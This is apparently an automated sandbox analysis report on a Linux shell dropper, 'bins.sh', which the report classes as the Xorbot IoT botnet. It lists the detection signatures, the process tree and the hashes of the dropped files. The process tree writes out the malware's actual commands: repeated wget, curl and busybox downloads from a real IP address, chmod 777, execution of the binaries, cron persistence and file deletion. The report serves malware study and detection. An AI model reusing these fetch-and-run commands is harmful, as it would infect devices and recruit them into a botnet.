Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    05/12/2024, 05:11

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    08443003e438fc12a91edb3195871828

  • SHA1

    b293d04952172f27c42190fec5fb176eb285e6ac

  • SHA256

    ddb93708573a4f419ebd47aef1cc9fb789831e94c1e2df6a83c6cc917b3c354b

  • SHA512

    5748af7ce94e106e548536f7eb2d17300728a31da9d1ea1966f02a5956443ec25ccafe478fdd7fbf6d468a79e55c5dc936b0aecac3e43becb7a11b56f362bb02

  • SSDEEP

    192:f5JZiwxYgdBbjfh0UxkkcpYsS2G8dZJAYKLTuFt14EQFt14EdQ5JZiwxV2Fjfh0u:f5JZiGYgdBXFhTC5JZiGV2ku

Malware Config

Signatures

  • Detects Xorbot 6 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (2043) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 10 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:666
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:668
        • /usr/bin/wget
          wget http://216.126.231.240/bins/rKBx2MLoKxpEMrQ4WrarBRAXgHdUD7Ds9r
          2⤵
          • Writes file to tmp directory
          PID:674
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/rKBx2MLoKxpEMrQ4WrarBRAXgHdUD7Ds9r
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:690
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/rKBx2MLoKxpEMrQ4WrarBRAXgHdUD7Ds9r
          2⤵
          • Writes file to tmp directory
          PID:697
        • /bin/chmod
          chmod 777 rKBx2MLoKxpEMrQ4WrarBRAXgHdUD7Ds9r
          2⤵
          • File and Directory Permissions Modification
          PID:699
        • /tmp/rKBx2MLoKxpEMrQ4WrarBRAXgHdUD7Ds9r
          ./rKBx2MLoKxpEMrQ4WrarBRAXgHdUD7Ds9r
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:700
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:702
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:703
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:704
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:705
              • /bin/rm
                rm rKBx2MLoKxpEMrQ4WrarBRAXgHdUD7Ds9r
                2⤵
                  PID:707
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/reedueYnlu1VZayzcEOwtqkdRkczSq3Mws
                  2⤵
                    PID:710
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/reedueYnlu1VZayzcEOwtqkdRkczSq3Mws
                    2⤵
                      PID:711
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/reedueYnlu1VZayzcEOwtqkdRkczSq3Mws
                      2⤵
                      • Writes file to tmp directory
                      PID:792
                    • /bin/chmod
                      chmod 777 reedueYnlu1VZayzcEOwtqkdRkczSq3Mws
                      2⤵
                      • File and Directory Permissions Modification
                      PID:805
                    • /tmp/reedueYnlu1VZayzcEOwtqkdRkczSq3Mws
                      ./reedueYnlu1VZayzcEOwtqkdRkczSq3Mws
                      2⤵
                      • Executes dropped EXE
                      PID:806
                    • /bin/rm
                      rm reedueYnlu1VZayzcEOwtqkdRkczSq3Mws
                      2⤵
                        PID:808
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/FO4wuKGmUSevznJaeiwHm8TjDMAf5mH6sx
                        2⤵
                          PID:809
                        • /usr/bin/curl
                          curl -O http://216.126.231.240/bins/FO4wuKGmUSevznJaeiwHm8TjDMAf5mH6sx
                          2⤵
                            PID:810
                          • /bin/busybox
                            /bin/busybox wget http://216.126.231.240/bins/FO4wuKGmUSevznJaeiwHm8TjDMAf5mH6sx
                            2⤵
                            • Writes file to tmp directory
                            PID:811
                          • /bin/chmod
                            chmod 777 FO4wuKGmUSevznJaeiwHm8TjDMAf5mH6sx
                            2⤵
                            • File and Directory Permissions Modification
                            PID:814
                          • /tmp/FO4wuKGmUSevznJaeiwHm8TjDMAf5mH6sx
                            ./FO4wuKGmUSevznJaeiwHm8TjDMAf5mH6sx
                            2⤵
                            • Executes dropped EXE
                            PID:815
                          • /bin/rm
                            rm FO4wuKGmUSevznJaeiwHm8TjDMAf5mH6sx
                            2⤵
                              PID:817
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/wgUTITEayKKDeOIA9aEogost8GNsTjKG4J
                              2⤵
                                PID:819
                              • /usr/bin/curl
                                curl -O http://216.126.231.240/bins/wgUTITEayKKDeOIA9aEogost8GNsTjKG4J
                                2⤵
                                  PID:822
                                • /bin/busybox
                                  /bin/busybox wget http://216.126.231.240/bins/wgUTITEayKKDeOIA9aEogost8GNsTjKG4J
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:827
                                • /bin/chmod
                                  chmod 777 wgUTITEayKKDeOIA9aEogost8GNsTjKG4J
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:831
                                • /tmp/wgUTITEayKKDeOIA9aEogost8GNsTjKG4J
                                  ./wgUTITEayKKDeOIA9aEogost8GNsTjKG4J
                                  2⤵
                                  • Executes dropped EXE
                                  PID:833
                                • /bin/rm
                                  rm wgUTITEayKKDeOIA9aEogost8GNsTjKG4J
                                  2⤵
                                    PID:835
                                  • /usr/bin/wget
                                    wget http://216.126.231.240/bins/VuSxxZDVQWVxhcj720IA2IUMkf60DGlHG2
                                    2⤵
                                      PID:836
                                    • /usr/bin/curl
                                      curl -O http://216.126.231.240/bins/VuSxxZDVQWVxhcj720IA2IUMkf60DGlHG2
                                      2⤵
                                        PID:838
                                      • /bin/busybox
                                        /bin/busybox wget http://216.126.231.240/bins/VuSxxZDVQWVxhcj720IA2IUMkf60DGlHG2
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:840
                                      • /bin/chmod
                                        chmod 777 VuSxxZDVQWVxhcj720IA2IUMkf60DGlHG2
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:845
                                      • /tmp/VuSxxZDVQWVxhcj720IA2IUMkf60DGlHG2
                                        ./VuSxxZDVQWVxhcj720IA2IUMkf60DGlHG2
                                        2⤵
                                        • Executes dropped EXE
                                        PID:850
                                      • /bin/rm
                                        rm VuSxxZDVQWVxhcj720IA2IUMkf60DGlHG2
                                        2⤵
                                          PID:861
                                        • /usr/bin/wget
                                          wget http://216.126.231.240/bins/btkUdMfAAxeARLyqVlR2ZdTxmPuqR2tykL
                                          2⤵
                                            PID:862
                                          • /usr/bin/curl
                                            curl -O http://216.126.231.240/bins/btkUdMfAAxeARLyqVlR2ZdTxmPuqR2tykL
                                            2⤵
                                              PID:863
                                            • /bin/busybox
                                              /bin/busybox wget http://216.126.231.240/bins/btkUdMfAAxeARLyqVlR2ZdTxmPuqR2tykL
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:869
                                            • /bin/chmod
                                              chmod 777 btkUdMfAAxeARLyqVlR2ZdTxmPuqR2tykL
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:877
                                            • /tmp/btkUdMfAAxeARLyqVlR2ZdTxmPuqR2tykL
                                              ./btkUdMfAAxeARLyqVlR2ZdTxmPuqR2tykL
                                              2⤵
                                              • Executes dropped EXE
                                              PID:878
                                            • /bin/rm
                                              rm btkUdMfAAxeARLyqVlR2ZdTxmPuqR2tykL
                                              2⤵
                                                PID:879
                                              • /usr/bin/wget
                                                wget http://216.126.231.240/bins/RemnaC8YgwVR2iyrEa5HEsdiWIkiuci5a7
                                                2⤵
                                                  PID:881
                                                • /usr/bin/curl
                                                  curl -O http://216.126.231.240/bins/RemnaC8YgwVR2iyrEa5HEsdiWIkiuci5a7
                                                  2⤵
                                                    PID:882
                                                  • /bin/busybox
                                                    /bin/busybox wget http://216.126.231.240/bins/RemnaC8YgwVR2iyrEa5HEsdiWIkiuci5a7
                                                    2⤵
                                                    • Writes file to tmp directory
                                                    PID:885
                                                  • /bin/chmod
                                                    chmod 777 RemnaC8YgwVR2iyrEa5HEsdiWIkiuci5a7
                                                    2⤵
                                                    • File and Directory Permissions Modification
                                                    PID:892
                                                  • /tmp/RemnaC8YgwVR2iyrEa5HEsdiWIkiuci5a7
                                                    ./RemnaC8YgwVR2iyrEa5HEsdiWIkiuci5a7
                                                    2⤵
                                                    • Executes dropped EXE
                                                    PID:894
                                                  • /bin/rm
                                                    rm RemnaC8YgwVR2iyrEa5HEsdiWIkiuci5a7
                                                    2⤵
                                                      PID:896
                                                    • /usr/bin/wget
                                                      wget http://216.126.231.240/bins/tz4h3WU3NofxV38UuOdkFbE7pjN47Tu3az
                                                      2⤵
                                                        PID:902
                                                      • /usr/bin/curl
                                                        curl -O http://216.126.231.240/bins/tz4h3WU3NofxV38UuOdkFbE7pjN47Tu3az
                                                        2⤵
                                                          PID:903
                                                        • /bin/busybox
                                                          /bin/busybox wget http://216.126.231.240/bins/tz4h3WU3NofxV38UuOdkFbE7pjN47Tu3az
                                                          2⤵
                                                          • Writes file to tmp directory
                                                          PID:904
                                                        • /bin/chmod
                                                          chmod 777 tz4h3WU3NofxV38UuOdkFbE7pjN47Tu3az
                                                          2⤵
                                                          • File and Directory Permissions Modification
                                                          PID:908
                                                        • /tmp/tz4h3WU3NofxV38UuOdkFbE7pjN47Tu3az
                                                          ./tz4h3WU3NofxV38UuOdkFbE7pjN47Tu3az
                                                          2⤵
                                                          • Executes dropped EXE
                                                          PID:914
                                                        • /bin/rm
                                                          rm tz4h3WU3NofxV38UuOdkFbE7pjN47Tu3az
                                                          2⤵
                                                            PID:916
                                                          • /usr/bin/wget
                                                            wget http://216.126.231.240/bins/n1uLbYMsvbVqf2StoKAM0dBapyuzhRpKxj
                                                            2⤵
                                                              PID:917

                                                          Network

                                                                MITRE ATT&CK Enterprise v15

                                                                Replay Monitor

                                                                Loading Replay Monitor...

                                                                Downloads

                                                                • /tmp/FO4wuKGmUSevznJaeiwHm8TjDMAf5mH6sx

                                                                  Filesize

                                                                  117KB

                                                                  MD5

                                                                  849fa04ef88a8e8de32cb2e8538de5fe

                                                                  SHA1

                                                                  c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                                                  SHA256

                                                                  8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                                                  SHA512

                                                                  2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                                                                • /tmp/RemnaC8YgwVR2iyrEa5HEsdiWIkiuci5a7

                                                                  Filesize

                                                                  151KB

                                                                  MD5

                                                                  3c90d5820bddcf7c5d1bd21dfa49d958

                                                                  SHA1

                                                                  5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                                                  SHA256

                                                                  bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                                                  SHA512

                                                                  54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                                                • /tmp/VuSxxZDVQWVxhcj720IA2IUMkf60DGlHG2

                                                                  Filesize

                                                                  98KB

                                                                  MD5

                                                                  5141342d0df8699fa32a6b066a0c592e

                                                                  SHA1

                                                                  8157673225bd5182f16215e2aa823a25ca2d4fbc

                                                                  SHA256

                                                                  54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                                                  SHA512

                                                                  d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                                                • /tmp/btkUdMfAAxeARLyqVlR2ZdTxmPuqR2tykL

                                                                  Filesize

                                                                  177KB

                                                                  MD5

                                                                  786d75a158fe731feca3880f436082c0

                                                                  SHA1

                                                                  79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                                                  SHA256

                                                                  5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                                                  SHA512

                                                                  7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                                                • /tmp/rKBx2MLoKxpEMrQ4WrarBRAXgHdUD7Ds9r

                                                                  Filesize

                                                                  127KB

                                                                  MD5

                                                                  89077b7bd4bcafca7713be43635c4862

                                                                  SHA1

                                                                  fc02edb8fba29ea8ee99e6157ef8560334530052

                                                                  SHA256

                                                                  78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                                                  SHA512

                                                                  1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                                                • /tmp/reedueYnlu1VZayzcEOwtqkdRkczSq3Mws

                                                                  Filesize

                                                                  111KB

                                                                  MD5

                                                                  ca897a38f23ec23521ce0b1b83f8422d

                                                                  SHA1

                                                                  b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                                                  SHA256

                                                                  043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                                                  SHA512

                                                                  10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                                                • /tmp/tz4h3WU3NofxV38UuOdkFbE7pjN47Tu3az

                                                                  Filesize

                                                                  122KB

                                                                  MD5

                                                                  cd3d4b9c643e5b473fb4d88ed05f0716

                                                                  SHA1

                                                                  64ee7a97418583d759eaea8000890cc3bae1b5f4

                                                                  SHA256

                                                                  0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                                                  SHA512

                                                                  164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                                                • /tmp/wgUTITEayKKDeOIA9aEogost8GNsTjKG4J

                                                                  Filesize

                                                                  112KB

                                                                  MD5

                                                                  05d7857dcead18bbd86d2935f591873c

                                                                  SHA1

                                                                  34d18f41ef35f93d5364ce3e24d74730a4e91985

                                                                  SHA256

                                                                  2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                                                  SHA512

                                                                  d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                                                • /var/spool/cron/crontabs/tmp.HeaTlh

                                                                  Filesize

                                                                  210B

                                                                  MD5

                                                                  7f69da7a454e4a83dd7d24e7b6a6a78b

                                                                  SHA1

                                                                  833bb7ed8c11f40b3dfe2ee6adc1d98de1dbc9d9

                                                                  SHA256

                                                                  d2ca4a43045a6c66abc1583e1abbd2c51ac7aab82a1dd7a7546f5d3382b2881e

                                                                  SHA512

                                                                  18c0de91bdbd9b6c46466ed62cf6a02a2f1c4975eb92ff872d58da68d6a1d9de3571c232f306db13ae37921b27bca97639b506ed79e8ca9c7dd90a9594d0b578